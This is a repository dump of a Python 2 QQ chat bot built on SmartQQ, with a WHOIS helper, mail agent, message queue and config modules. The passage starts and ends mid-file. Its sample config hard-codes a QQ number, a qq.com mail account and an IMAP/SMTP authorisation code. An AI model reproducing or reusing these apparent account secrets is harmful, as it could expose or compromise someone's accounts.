"whois.iana.org") 81 | for line in [x.strip() for x in data.splitlines()]: 82 | match = re.match("refer:\s*([^\s]+)", line) 83 | if match is None: 84 | continue 85 | return match.group(1) 86 | raise shared.WhoisException("No root WHOIS server found for domain.") 87 | 88 | def whois_request(domain, server, port=43): 89 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 90 | sock.connect((server, port)) 91 | sock.send(("%s\r\n" % domain).encode("utf-8")) 92 | buff = b"" 93 | while True: 94 | data = sock.recv(1024) 95 | if len(data) == 0: 96 | break 97 | buff += data 98 | return buff.decode("utf-8") 99 | -------------------------------------------------------------------------------- /pythonwhois/net.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/pythonwhois/net.pyc -------------------------------------------------------------------------------- /pythonwhois/parse.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/pythonwhois/parse.pyc -------------------------------------------------------------------------------- /pythonwhois/shared.py: -------------------------------------------------------------------------------- 1 | class WhoisException(Exception): 2 | pass 3 | -------------------------------------------------------------------------------- /pythonwhois/shared.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/pythonwhois/shared.pyc -------------------------------------------------------------------------------- /pythonwhois/states_au.dat: -------------------------------------------------------------------------------- 1 | NSW,"New South Wales" 2 | QLD,"Queensland" 3 | SA,"South Australia" 4 | TAS,"Tasmania" 5 | VIC,"Victoria" 6 | WA,"Western Australia" -------------------------------------------------------------------------------- /pythonwhois/states_ca.dat: -------------------------------------------------------------------------------- 1 | id,name,abbreviation 2 | "60","Alberta","AB" 3 | "61","British Columbia","BC" 4 | "62","Manitoba","MB" 5 | "63","New Brunswick","NB" 6 | "64","Newfoundland and Labrador","NL" 7 | "65","Nova Scotia","NS" 8 | "66","Ontario","ON" 9 | "67","Prince Edward Island","PE" 10 | "68","Quebec","QC" 11 | "69","Saskatchewan","SK" 12 | "70","Northwest Territories","NT" 13 | "71","Nunavut","NU" 14 | "72","Yukon Territory","YT" 15 | -------------------------------------------------------------------------------- /pythonwhois/states_us.dat: -------------------------------------------------------------------------------- 1 | id,name,abbreviation 2 | "1","Alabama","AL" 3 | "2","Alaska","AK" 4 | "3","Arizona","AZ" 5 | "4","Arkansas","AR" 6 | "5","California","CA" 7 | "6","Colorado","CO" 8 | "7","Connecticut","CT" 9 | "8","Delaware","DE" 10 | "9","Florida","FL" 11 | "10","Georgia","GA" 12 | "11","Hawaii","HI" 13 | "12","Idaho","ID" 14 | "13","Illinois","IL" 15 | "14","Indiana","IN" 16 | "15","Iowa","IA" 17 | "16","Kansas","KS" 18 | "17","Kentucky","KY" 19 | "18","Louisiana","LA" 20 | "19","Maine","ME" 21 | "20","Maryland","MD" 22 | "21","Massachusetts","MA" 23 | "22","Michigan","MI" 24 | "23","Minnesota","MN" 25 | "24","Mississippi","MS" 26 | "25","Missouri","MO" 27 | "26","Montana","MT" 28 | "27","Nebraska","NE" 29 | "28","Nevada","NV" 30 | "29","New Hampshire","NH" 31 | "30","New Jersey","NJ" 32 | "31","New Mexico","NM" 33 | "32","New York","NY" 34 | "33","North Carolina","NC" 35 | "34","North Dakota","ND" 36 | "35","Ohio","OH" 37 | "36","Oklahoma","OK" 38 | "37","Oregon","OR" 39 | "38","Pennsylvania","PA" 40 | "39","Rhode Island","RI" 41 | "40","South Carolina","SC" 42 | "41","South Dakota","SD" 43 | "42","Tennessee","TN" 44 | "43","Texas","TX" 45 | "44","Utah","UT" 46 | "45","Vermont","VT" 47 | "46","Virginia","VA" 48 | "47","Washington","WA" 49 | "48","West Virginia","WV" 50 | "49","Wisconsin","WI" 51 | "50","Wyoming","WY" 52 | "52","Puerto Rico","PR" 53 | "53","U.S. Virgin Islands","VI" 54 | "54","American Samoa","AS" 55 | "55","Guam","GU" 56 | "56","Northern Mariana Islands","MP" -------------------------------------------------------------------------------- /qqbot/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from qqbot import QQBot, Main 4 | from qsession import QSession 5 | from qcontacts import QContacts 6 | from qterm import QTerm 7 | -------------------------------------------------------------------------------- /qqbot/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/__init__.pyc -------------------------------------------------------------------------------- /qqbot/common.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import json, platform, subprocess, os, threading 4 | 5 | JsonLoads = lambda s: encJson(json.loads(s)) 6 | JsonDumps = json.dumps 7 | 8 | class DotDict: 9 | def __init__(self, **kw): 10 | self.__dict__.update(kw) 11 | 12 | def __repr__(self): 13 | s = '%s(%s)' % (self.__class__.__name__, self.__dict__) 14 | return s.decode('string-escape') 15 | 16 | def update(self, d): 17 | self.__dict__.update(d) 18 | 19 | def encJson(obj): 20 | if hasattr(obj, 'encode'): 21 | return obj.encode('utf8') 22 | elif isinstance(obj, list): 23 | return [encJson(e) for e in obj] 24 | elif isinstance(obj, dict): 25 | return dict((encJson(k), encJson(v)) for k,v in obj.iteritems()) 26 | else: 27 | return obj 28 | 29 | CutDict = lambda d, keys: dict((k, d.pop(k)) for k in keys if k in d) 30 | 31 | def Utf8Partition(msg, n): 32 | if n >= len(msg): 33 | return msg, '' 34 | else: 35 | # All utf8 characters start with '0xxx-xxxx' or '11xx-xxxx' 36 | while n > 0 and ord(msg[n]) >> 6 == 2: 37 | n -= 1 38 | return msg[:n], msg[n:] 39 | 40 | # usage: CallInNewConsole(['python', 'qterm.py']) 41 | def CallInNewConsole(args): 42 | osName = platform.system() 43 | if osName == 'Windows': 44 | return subprocess.call(['start'] + list(args), shell=True) 45 | 46 | elif osName == 'Linux': 47 | cmd = subprocess.list2cmdline(args) 48 | if hasCommand('mate-terminal'): 49 | args = ['mate-terminal', '-e', cmd] 50 | elif hasCommand('gnome-terminal'): 51 | args = ['gnome-terminal', '-x', cmd] 52 | elif hasCommand('xterm'): 53 | args = ['sh', '-c', 'xterm -e %s &' % cmd] 54 | else: 55 | return 1 56 | # args = ['sh', '-c', 'nohup %s >/dev/null 2>&1 &' % cmd] 57 | return subprocess.call(args, preexec_fn=os.setpgrp) 58 | 59 | elif osName == 'Darwin': 60 | return subprocess.call(['open','-W','-a','Terminal.app'] + list(args)) 61 | 62 | else: 63 | return 1 64 | # return subprocess.Popen(list(args) + ['&']) 65 | 66 | def hasCommand(procName): 67 | try: 68 | return procName in subprocess.check_output(['which', procName]) 69 | except subprocess.CalledProcessError: 70 | return False 71 | 72 | def StartThread(target, *args, **kwargs): 73 | daemon = kwargs.pop('daemon', False) 74 | t = threading.Thread(target=target, args=args, kwargs=kwargs) 75 | t.daemon = daemon 76 | t.start() 77 | 78 | class LockedValue: 79 | def __init__(self, initialVal=None): 80 | self.val = initialVal 81 | self.lock = threading.Lock() 82 | 83 | def setVal(self, val): 84 | with self.lock: 85 | self.val = val 86 | 87 | def getVal(self): 88 | with self.lock: 89 | val = self.val 90 | return val 91 | -------------------------------------------------------------------------------- /qqbot/common.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/common.pyc -------------------------------------------------------------------------------- /qqbot/mailagent.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import smtplib 4 | import imaplib 5 | from email.encoders import encode_base64 6 | from email.mime.multipart import MIMEMultipart 7 | from email.mime.base import MIMEBase 8 | from email.mime.text import MIMEText 9 | from email.utils import parseaddr, formataddr 10 | from email.header import Header, decode_header 11 | from email import message_from_string 12 | 13 | SERVER_LIB = { 14 | 'sample.com': { 15 | 'smtp': 'smtp.sample.com', 16 | 'imap': 'imap.sample.com', 17 | 'smtp_port': 0, 18 | 'imap_port': 0, 19 | 'use_ssl': True 20 | } 21 | } 22 | 23 | def format_addr(s): 24 | name, addr = parseaddr(s.decode('utf8')) 25 | return formataddr(( 26 | Header(name, 'utf8').encode(), 27 | addr.encode('utf8') if isinstance(addr, unicode) else addr 28 | )) 29 | 30 | class MailAgent: 31 | def __init__(self, account, auth_code, name='', **config): 32 | account_name, server_name = account.split('@') 33 | 34 | self.smtp = 'smtp.' + server_name 35 | self.imap = 'imap.' + server_name 36 | self.smtp_port = 0 37 | self.imap_port = 0 38 | self.use_ssl = True 39 | 40 | self.__dict__.update(SERVER_LIB.get(server_name, {})) 41 | self.__dict__.update(config) 42 | 43 | self.name = '%s <%s>' % (name or account_name, account) 44 | self.account = account 45 | self.auth_code = auth_code 46 | 47 | st_SMTP = smtplib.SMTP_SSL if self.use_ssl else smtplib.SMTP 48 | st_IMAP = imaplib.IMAP4_SSL if self.use_ssl else imaplib.IMAP4 49 | 50 | if self.smtp_port: 51 | self.st_SMTP = lambda : st_SMTP(self.smtp, self.smtp_port) 52 | else: 53 | self.st_SMTP = lambda : st_SMTP(self.smtp) 54 | 55 | if self.imap_port: 56 | self.st_IMAP = lambda : st_IMAP(self.imap, self.imap_port) 57 | else: 58 | self.st_IMAP = lambda : st_IMAP(self.imap) 59 | 60 | self.SMTP = lambda : SMTP(self) 61 | self.IMAP = lambda : IMAP(self) 62 | 63 | class SMTP: 64 | def __init__(self, mail_agent): 65 | self.name, self.account = mail_agent.name, mail_agent.account 66 | self.server = mail_agent.st_SMTP() 67 | try: 68 | self.server.login(mail_agent.account, mail_agent.auth_code) 69 | except: 70 | self.close() 71 | raise 72 | 73 | def close(self): 74 | try: 75 | return self.server.quit() 76 | except: 77 | pass 78 | 79 | def __enter__(self): 80 | return self 81 | 82 | def __exit__(self, exc_type, exc_value, traceback): 83 | self.close() 84 | 85 | def send(self, to_addr, html='', subject='', to_name='', png_content=''): 86 | subject = subject or 'No subject' 87 | to_name = to_name or to_addr.split('@')[0] 88 | html = '%s' % html 89 | if html: 90 | html = html.replace('{{png}}', '') 91 | 92 | msg = MIMEMultipart() 93 | msg['From'] = format_addr(self.name) 94 | msg['To'] = format_addr('%s <%s>' % (to_name, to_addr)) 95 | msg['Subject'] = Header(subject.decode('utf8'), 'utf8').encode() 96 | msg.attach(MIMEText(html, 'html', 'utf8')) 97 | 98 | if png_content: 99 | m = MIMEBase('image', 'png', filename='x.png') 100 | m.add_header('Content-Disposition', 'attachment', filename='x.png') 101 | m.add_header('Content-ID', '<0>') 102 | m.add_header('X-Attachment-Id', '0') 103 | m.set_payload(png_content) 104 | encode_base64(m) 105 | msg.attach(m) 106 | 107 | self.server.sendmail(self.account, to_addr, msg.as_string()) 108 | 109 | class IMAP: 110 | def __init__(self, mail_agent): 111 | self.name, self.account = mail_agent.name, mail_agent.account 112 | self.conn = mail_agent.st_IMAP() 113 | try: 114 | self.conn.login(mail_agent.account, mail_agent.auth_code) 115 | self.conn.select('INBOX') 116 | except: 117 | self.close() 118 | raise 119 | 120 | def __enter__(self): 121 | return self 122 | 123 | def __exit__(self, exc_type, exc_value, traceback): 124 | self.close() 125 | 126 | def close(self): 127 | try: 128 | return self.conn.close() 129 | except: 130 | pass 131 | 132 | # # NOT SUPPORTED by qq mail. 133 | # def getSubject(self, i): 134 | # conn = self.conn 135 | # id_list = conn.search(None, 'ALL')[1][0].split() 136 | # try: 137 | # email_id = id_list[i] 138 | # except IndexError: 139 | # return None, -1 140 | # data = conn.fetch(email_id, 'BODY.PEEK[HEADER.FIELDS (SUBJECT)]')[1] 141 | # msg = message_from_string(data[0][1]) 142 | # s, encoding = decode_header(msg['Subject'])[0] 143 | # subject = s.decode(encoding or 'utf-8').encode('utf-8') 144 | # return subject, email_id 145 | 146 | # # NOT SUPPORTED by qq mail. 147 | # def delMail(self, subject): 148 | # idx = -1 149 | # while True: 150 | # sbj, email_id = self.getSubject(idx) 151 | # if sbj is None or sbj != subject: 152 | # break 153 | # else: 154 | # self.conn.store(email_id, '+FLAGS', '\\Deleted') 155 | # self.conn.expunge() 156 | # idx -= 1 157 | 158 | # # NOT SUPPORTED by qq mail. 159 | # def search_mail(self, subject, from_addr): 160 | # criteria = '(FROM "%s" SUBJECT "%s")' % (from_addr, subject) 161 | # return self.conn.search(None, criteria)[1][0].split() 162 | 163 | def getSubject(self, i): 164 | conn = self.conn 165 | id_list = conn.search(None, '(UNSEEN)')[1][0].split() 166 | try: 167 | email_id = id_list[i] 168 | except IndexError: 169 | return None, -1 170 | data = conn.fetch(email_id, 'BODY.PEEK[HEADER.FIELDS (SUBJECT)]')[1] 171 | msg = message_from_string(data[0][1]) 172 | s, encoding = decode_header(msg['Subject'])[0] 173 | subject = s.decode(encoding or 'utf-8').encode('utf-8') 174 | return subject 175 | 176 | if __name__ == '__main__': 177 | import time 178 | from qconf import QConf 179 | conf = QConf(user='eva') 180 | ma = MailAgent(conf.mailAccount, conf.mailAuthCode) 181 | 182 | with ma.SMTP() as s: 183 | s.send(conf.mailAccount, 'hello') 184 | print 'send ok' 185 | 186 | # with ma.IMAP() as i: 187 | # subject = i.getUnSeenSubject(-1)[0] 188 | # print 'latest email:', subject 189 | # print 'recv ok' 190 | # 191 | # time.sleep(5) 192 | # 193 | # with ma.IMAP() as i: 194 | # i.delMail(subject) 195 | # print 'del ok' 196 | -------------------------------------------------------------------------------- /qqbot/mailagent.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/mailagent.pyc -------------------------------------------------------------------------------- /qqbot/messagefactory.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import Queue 4 | 5 | from common import StartThread 6 | 7 | class Message: 8 | def __init__(self, mtype, **kw): 9 | self.mtype = mtype 10 | self.__dict__.update(kw) 11 | 12 | # messages are generated in child threads, but be processed in the main thread. 13 | # DO NOT call any method of the factory in generators, yield messages instead. 14 | # DO NOT yield message in processors, just call methods of the factory instead. 15 | class MessageFactory: 16 | def __init__(self): 17 | self.msgProcessors = {} 18 | self.msgQueue = Queue.Queue() 19 | 20 | def Run(self): 21 | while True: 22 | try: 23 | msg = self.msgQueue.get(timeout=0.5) 24 | except Queue.Empty: 25 | continue 26 | else: 27 | try: 28 | self.Process(msg) 29 | except SystemExit as e: 30 | self.onStop(e.code) 31 | raise 32 | 33 | def Process(self, msg): 34 | if msg.mtype == 'stop': 35 | raise SystemExit(msg.code) 36 | elif msg.mtype == 'registerprocessor': 37 | self.msgProcessors[msg.ptype] = msg.processor 38 | elif msg.mtype == 'addgenerator': 39 | StartThread(self.genLoop, msg.generator, daemon=True) 40 | elif msg.mtype in self.msgProcessors: 41 | self.msgProcessors[msg.mtype](self, msg) 42 | else: 43 | raise Exception('Unregister message type: %s' % msg.mtype) 44 | 45 | def Stop(self, code=0): 46 | raise SystemExit(code) 47 | 48 | def onStop(self, code): 49 | print 'stop with', code 50 | 51 | def genLoop(self, generator): 52 | for msg in generator(): 53 | self.msgQueue.put(msg) 54 | 55 | # you must register the processor for $mtype before you yield 56 | # any $mtype message, and before you add any generator which 57 | # may yield $mtype messages 58 | def RegisterProcessor(self, mtype, processor=None): 59 | if processor is None: 60 | def register(processor): 61 | self.msgProcessors[mtype] = processor 62 | return processor 63 | return register 64 | else: 65 | self.msgProcessors[mtype] = processor 66 | 67 | On = RegisterProcessor 68 | 69 | def AddGenerator(self, generator): 70 | self.msgQueue.put(Message('addgenerator', generator=generator)) 71 | return generator 72 | 73 | Generator = AddGenerator 74 | 75 | def Put(self, msg): 76 | self.msgQueue.put(msg) 77 | 78 | if __name__ == '__main__': 79 | import time 80 | 81 | prev = time.time() 82 | 83 | factory = MessageFactory() 84 | 85 | # must register 'normal-message' processor before yield any 'normal-message' message, 86 | # and before add any producer which may yield 'normal-message' messages. 87 | @factory.On('normal-message') 88 | def processor(fac, msg): 89 | print 'Message%s: done' % msg.__dict__ 90 | 91 | @factory.Generator 92 | def generator1(): 93 | while True: 94 | time.sleep(0.2) 95 | yield Message('normal-message', pid=1) 96 | 97 | @factory.Generator 98 | def generator2(): 99 | while True: 100 | time.sleep(0.2) 101 | yield Message('normal-message', pid=2) 102 | 103 | @factory.Generator 104 | def generator3(): 105 | while True: 106 | time.sleep(0.2) 107 | if time.time() - prev >= 3: 108 | yield Message('stop', code=1) 109 | else: 110 | yield Message('normal-message', pid=3) 111 | 112 | factory.Run() 113 | 114 | -------------------------------------------------------------------------------- /qqbot/messagefactory.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/messagefactory.pyc -------------------------------------------------------------------------------- /qqbot/qconf.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | version = 'v2.0.5' 4 | 5 | sampleConfStr = '''{ 6 | 7 | # QQBot 的配置文件 8 | 9 | # 用户 somebody 的配置 10 | "somebody" : { 11 | 12 | # QQBot-term 服务器端口号 13 | "termServerPort" : 8188, 14 | 15 | # http 服务器 ip,请设置为公网 ip 16 | # 注意本 ip 不是用来设置服务器的监听 ip 的,只是用来向用户显示图片链接地址的 17 | # 服务器的监听 ip 永远是 0.0.0.0 ,只要本 ip 不为空,服务器就会开启 18 | "httpServerIP" : "127.0.0.1", 19 | 20 | # http 服务器端口号 21 | "httpServerPort" : 8189, 22 | 23 | # 自动登录的 QQ 号 24 | "qq" : "3497303033", 25 | 26 | # 接收二维码图片的邮箱账号 27 | "mailAccount" : "3497303033@qq.com", 28 | 29 | # 该邮箱的 IMAP/SMTP 服务授权码 30 | "mailAuthCode" : "feregfgftrasdsew", 31 | 32 | # 显示/关闭调试信息 33 | "debug" : False, 34 | 35 | # QQBot 掉线后自动重启 36 | "restartOnOffline" : False, 37 | 38 | }, 39 | 40 | # 请勿修改本项中的设置 41 | "默认配置" : { 42 | "termServerPort" : 8188, 43 | "httpServerIP" : "", 44 | "httpServerPort" : 8189, 45 | "qq" : "", 46 | "mailAccount" : "", 47 | "mailAuthCode" : "", 48 | "debug" : False, 49 | "restartOnOffline" : False, 50 | }, 51 | 52 | } 53 | ''' 54 | 55 | import os, sys, ast, argparse 56 | from utf8logger import SetLogLevel, INFO, RAWINPUT, utf8Stdout 57 | 58 | class ConfError(Exception): 59 | pass 60 | 61 | class QConf: 62 | def __init__(self, qq=None, user=None): 63 | self.qq = None if qq is None else str(qq) 64 | self.user = None if user is None else str(user) 65 | self.version = version 66 | self.readCmdLine() 67 | self.readConfFile() 68 | self.configure() 69 | 70 | def readCmdLine(self): 71 | parser = argparse.ArgumentParser() 72 | 73 | parser.add_argument('-u', '--user', help='set user name') 74 | 75 | parser.add_argument('-q', '--qq', help='set qq number') 76 | 77 | parser.add_argument('-p', '--termServerPort', type=int, 78 | help='set the port of term server') 79 | 80 | parser.add_argument('-ip', '--httpServerIP', 81 | help='set the ip address of http server') 82 | 83 | parser.add_argument('-hp', '--httpServerPort', type=int, 84 | help='set the port of http server') 85 | 86 | parser.add_argument('-m', '--mailAccount', 87 | help='set mail account that send/receive QRCODE') 88 | 89 | parser.add_argument('-mc', '--mailAuthCode', 90 | help='set auth code of that mail account') 91 | 92 | parser.add_argument('-d', '--debug', action='store_true', 93 | help='turn on debug mode', default=None) 94 | 95 | parser.add_argument('-nd', '--nodebug', action='store_true', 96 | help='turn off debug mode') 97 | 98 | parser.add_argument('-r', '--restartOnOffline', action='store_true', 99 | help='restart when offline', default=None) 100 | 101 | parser.add_argument('-nr', '--norestartOnOffline', action='store_true', 102 | help='no restart when offline') 103 | 104 | opts = parser.parse_args() 105 | 106 | if opts.nodebug: 107 | opts.debug = False 108 | 109 | if opts.norestartOnOffline: 110 | opts.restartOnOffline = False 111 | 112 | delattr(opts, 'nodebug') 113 | delattr(opts, 'norestartOnOffline') 114 | 115 | for k, v in opts.__dict__.items(): 116 | if getattr(self, k, None) is None: 117 | setattr(self, k, v) 118 | 119 | def readConfFile(self): 120 | conf = ast.literal_eval(sampleConfStr)['默认配置'] 121 | 122 | confPath = self.ConfPath() 123 | 124 | if os.path.exists(confPath): 125 | try: 126 | with open(confPath) as f: 127 | cusConf = ast.literal_eval(f.read()) 128 | 129 | if type(cusConf) is not dict: 130 | raise ConfError('文件内容必须是一个dict') 131 | 132 | elif self.user is None: 133 | pass 134 | 135 | elif self.user not in cusConf: 136 | raise ConfError('用户 %s 不存在' % self.user) 137 | 138 | elif type(cusConf[self.user]) is not dict: 139 | raise ConfError('用户 %s 的配置必须是一个 dict' % self.user) 140 | 141 | else: 142 | for k, v in cusConf[self.user].items(): 143 | if k not in conf: 144 | raise ConfError( 145 | '不存在的配置选项 %s.%s ' % (self.user, k) 146 | ) 147 | 148 | elif type(v) is not type(conf[k]): 149 | raise ConfError( 150 | '%s.%s 必须是一个 %s' % 151 | (self.user, k, type(conf[k]).__name__) 152 | ) 153 | 154 | else: 155 | conf[k] = v 156 | 157 | except (IOError, SyntaxError, ValueError, ConfError) as e: 158 | utf8Stdout.write('配置文件 %s 错误: %s\n' % (confPath, e)) 159 | sys.exit(1) 160 | 161 | else: 162 | try: 163 | with open(confPath, 'w') as f: 164 | f.write(sampleConfStr) 165 | except IOError: 166 | pass 167 | 168 | if self.user is not None: 169 | utf8Stdout.write('用户 %s 不存在\n' % self.user) 170 | sys.exit(1) 171 | 172 | for k, v in conf.items(): 173 | if getattr(self, k) is None: 174 | setattr(self, k, v) 175 | 176 | if self.mailAccount and not self.mailAuthCode: 177 | msg = '请输入 %s 的 IMAP/SMTP 服务授权码: ' % self.mailAccount 178 | self.mailAuthCode = RAWINPUT(msg) 179 | 180 | def configure(self): 181 | SetLogLevel(self.debug and 'DEBUG' or 'INFO') 182 | 183 | def Display(self): 184 | INFO('QQBot-%s', self.version) 185 | INFO('配置完成') 186 | INFO('用户名: %s', self.user or '无') 187 | INFO('登录方式:%s', self.qq and ('自动(qq=%s)' % self.qq) or '手动') 188 | INFO('命令行服务器端口号:%s', self.termServerPort) 189 | INFO('HTTP 服务器 ip :%s', self.httpServerIP or '无') 190 | INFO('HTTP 服务器端口号:%s', 191 | self.httpServerIP and self.httpServerPort or '无') 192 | INFO('用于接收二维码的邮箱账号:%s', self.mailAccount or '无') 193 | INFO('邮箱服务授权码:%s', self.mailAccount and '******' or '无') 194 | INFO('调试模式:%s', self.debug and '开启' or '关闭') 195 | INFO('掉线后自动重启:%s', self.restartOnOffline and '是' or '否') 196 | 197 | tmpDir = os.path.join(os.path.expanduser('~'), '.qqbot-tmp') 198 | 199 | @classmethod 200 | def absPath(cls, rela): 201 | return os.path.join(cls.tmpDir, rela) 202 | 203 | def ConfPath(self): 204 | return self.absPath('%s.conf' % self.version[:4]) 205 | 206 | def PicklePath(self): 207 | return self.absPath('%s-%s.pickle' % (self.version, self.qq)) 208 | 209 | @classmethod 210 | def QrcodePath(cls, qrcodeId): 211 | return cls.absPath(qrcodeId+'.png') 212 | 213 | if not os.path.exists(QConf.tmpDir): 214 | os.mkdir(QConf.tmpDir) 215 | 216 | if __name__ == '__main__': 217 | QConf().Display() 218 | QConf(user='somebody').Display() 219 | -------------------------------------------------------------------------------- /qqbot/qconf.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qconf.pyc -------------------------------------------------------------------------------- /qqbot/qcontacts.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from collections import defaultdict 4 | 5 | CTYPES = ('buddy', 'group', 'discuss') 6 | CHSTYPES = ('好友', '群', '讨论组') 7 | TAGS = ('name=', 'qq=', 'uin=', 'nick=', 'mark=') 8 | 9 | class QContact: 10 | def __init__(self, ctype, uin, name, qq='', nick='', mark='', members={}): 11 | if ctype not in CTYPES: 12 | raise ValueError('Ilegal contact type: %s' % ctype) 13 | 14 | self.ctype = ctype 15 | self.uin = uin 16 | self.name = name 17 | self.qq = qq 18 | self.nick = nick 19 | self.mark = mark 20 | self.members = members 21 | 22 | chsType = CHSTYPES[CTYPES.index(ctype)] 23 | self.shortRepr = '%s"%s"' % (chsType, self.name) 24 | 25 | if ctype != 'discuss': 26 | self.reprString = "%s: %s, qq=%s, uin=%s" % \ 27 | (chsType, self.name, self.qq, self.uin) 28 | else: 29 | self.reprString = "%s: %s, uin=%s" % \ 30 | (chsType, self.name, self.uin) 31 | 32 | def __repr__(self): 33 | return self.reprString 34 | 35 | def __str__(self): 36 | return self.shortRepr 37 | 38 | def GetMemberName(self, memberUin): 39 | return self.members.get(memberUin, 'NEWBIE') 40 | 41 | class QContacts: 42 | def __init__(self): 43 | self.cLists = dict((k, []) for k in CTYPES) 44 | self.cDicts = dict((k, defaultdict(list)) for k in CTYPES) 45 | 46 | # get buddy|group|discuss x|uin=x|qq=x|name=x 47 | # Get('buddy', '12343') 48 | # Get('buddy', 'uin=12343') 49 | # Get('buddy', uin=12343) 50 | def Get(self, ctype, *args, **kw): 51 | if (len(args)+len(kw)) != 1: 52 | raise TypeError('Wrong argument!') 53 | 54 | if ctype not in CTYPES: 55 | return [] 56 | 57 | cDict = self.cDicts[ctype] 58 | if args: 59 | if not args[0]: 60 | return [] 61 | 62 | cid = str(args[0]) 63 | 64 | for tag in TAGS: 65 | if cid.startswith(tag): 66 | return cDict.get(cid, [])[:] 67 | 68 | result = [] 69 | for tag in TAGS: 70 | for c in cDict.get(tag+cid, []): 71 | if c not in result: 72 | result.append(c) 73 | return result 74 | else: 75 | tag, value = kw.items()[0] 76 | return cDict.get(tag+'='+str(value), [])[:] 77 | 78 | def Add(self, *args, **kwargs): 79 | contact = QContact(*args, **kwargs) 80 | self.cLists[contact.ctype].append(contact) 81 | cDict = self.cDicts[contact.ctype] 82 | for tag in TAGS: 83 | value = getattr(contact, tag[:-1], '') 84 | if value: 85 | cDict[tag+value].append(contact) 86 | return contact 87 | 88 | def List(self, ctype): 89 | return self.cLists.get(ctype, []) 90 | 91 | def Assign(self, contacts): 92 | self.cLists.update(contacts.cLists) 93 | self.cDicts.update(contacts.cDicts) 94 | return self 95 | 96 | def __iter__(self): 97 | for ctype in CTYPES: 98 | for contact in self.cLists[ctype]: 99 | yield contact 100 | -------------------------------------------------------------------------------- /qqbot/qcontacts.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qcontacts.pyc -------------------------------------------------------------------------------- /qqbot/qqbot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | QQBot -- A conversation robot base on Tencent's SmartQQ 6 | Website -- https://github.com/pandolia/qqbot/ 7 | Author -- pandolia@yeah.net 8 | """ 9 | 10 | import random, time, sys, subprocess 11 | 12 | from qconf import QConf 13 | from utf8logger import INFO, WARN 14 | from qsession import QLogin, QSession 15 | from qterm import QTermServer 16 | from common import Utf8Partition 17 | from qcontacts import QContact 18 | import json 19 | from messagefactory import MessageFactory, Message 20 | 21 | class QQBot(MessageFactory): 22 | def __init__(self, qq=None, user=None, conf=None, ai=None): 23 | MessageFactory.__init__(self) 24 | self.conf = conf if conf else QConf(qq, user) 25 | self.conf.Display() 26 | ai = ai if ai else BasicAI() 27 | termServer = QTermServer(self.conf.termServerPort) 28 | 29 | self.On('qqmessage', ai.OnQQMessage) # main thread 30 | self.On('polltimeout', ai.OnPollTimeout) # main thread 31 | self.On('termmessage', ai.OnTermMessage) # main thread 32 | 33 | self.On('pollcomplete', QQBot.onPollComplete) # main thread 34 | self.On('fetchcomplete', QQBot.onFetchComplete) # main thread 35 | 36 | self.AddGenerator(self.pollForever) # child thread 1 37 | self.AddGenerator(self.fetchForever) # child thread 2 38 | self.AddGenerator(termServer.Run) # child thread 3 39 | self.session='' 40 | def getSession(self): 41 | return self.session 42 | 43 | def uin2qq(self,uin): 44 | try: 45 | return str(json.loads(self.getSession().urlGet('http://s.web2.qq.com/api/get_friend_uin2?tuin='+str(uin)+'&type=1&vfwebqq='+self.getSession().vfwebqq+'&t='+str(time.time()).replace('.','')+'0'))['result']['account']) 46 | except Exception,e: 47 | print e 48 | return '' 49 | def Login(self): 50 | session, contacts = QLogin(conf=self.conf) 51 | self.session=session 52 | self.Get = contacts.Get # main thread 53 | self.List = contacts.List # main thread 54 | self.assignContacts = contacts.Assign # main thread 55 | self.send = session.Send # main thread 56 | 57 | self.poll = session.Copy().Poll # child thread 1 58 | self.fetch = session.Copy().Fetch # child thread 2 59 | 60 | # send buddy|group|discuss x|uin=x|qq=x|name=x content 61 | # Send('buddy', '1234', 'hello') 62 | # Send('buddy', 'uin=1234', 'hello') 63 | # Send('buddy', uin='1234', content='hello') 64 | def Send(self, ctype, *args, **kw): 65 | if len(args) + len(kw) != 2: 66 | raise TypeError('Wrong arguments!') 67 | 68 | if len(args) < 2 and 'content' not in kw: 69 | raise TypeError('Wrong arguments!') 70 | 71 | if len(args) == 2: 72 | content, args = args[1], args[:1] 73 | else: 74 | content = kw.pop('content') 75 | 76 | result = [] 77 | if content: 78 | for contact in self.Get(ctype, *args, **kw): 79 | result.append(self.SendTo(contact, content)) 80 | return result 81 | 82 | def SendTo(self, contact, content): 83 | if content: 84 | content = str(content) 85 | result = '向 %s 发消息成功' % str(contact) 86 | while content: 87 | front, content = Utf8Partition(content, 600) 88 | self.send(contact.ctype, contact.uin, front) 89 | INFO(result) 90 | return result 91 | 92 | def pollForever(self): 93 | try: 94 | while True: 95 | yield Message('pollcomplete', result=self.poll()) 96 | finally: 97 | yield Message('stop', code=1) 98 | 99 | def fetchForever(self): 100 